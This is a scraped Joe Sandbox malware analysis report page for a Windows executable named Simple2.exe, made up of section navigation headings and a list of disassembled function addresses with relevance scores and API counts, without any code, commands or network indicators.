AV Detection

Compliance

Spreading

Networking

System Summary

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
Simple2.exe

Function 00007FF6876B5540 Relevance: 130.4, APIs: 53, Strings: 21, Instructions: 861
timeCOMMON

Function 00007FF6876B4CB0 Relevance: 54.7, APIs: 16, Strings: 15, Instructions: 472
COMMON

Function 00007FF6876B41F0 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 185
registryCOMMON

Function 00007FF6876B4570 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Function 00007FF6876B3E70 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 211
COMMON

Function 00007FF6876B37A0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
COMMON

Function 00007FF6876B3A40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129
COMMON

Function 00007FF6876B1790 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 195
COMMON

Function 00007FF6876B1520 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133
COMMON

Function 00007FF6876B8560 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Function 00007FF6876B96F0 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Function 00007FF6876B94E0 Relevance: 13.6, APIs: 9, Instructions: 135
COMMON

Function 00007FF6876BAD00 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON

Function 00007FF6876B9310 Relevance: 13.6, APIs: 9, Instructions: 132
COMMON

Function 00007FF6876B3C40 Relevance: 13.6, APIs: 9, Instructions: 124
COMMON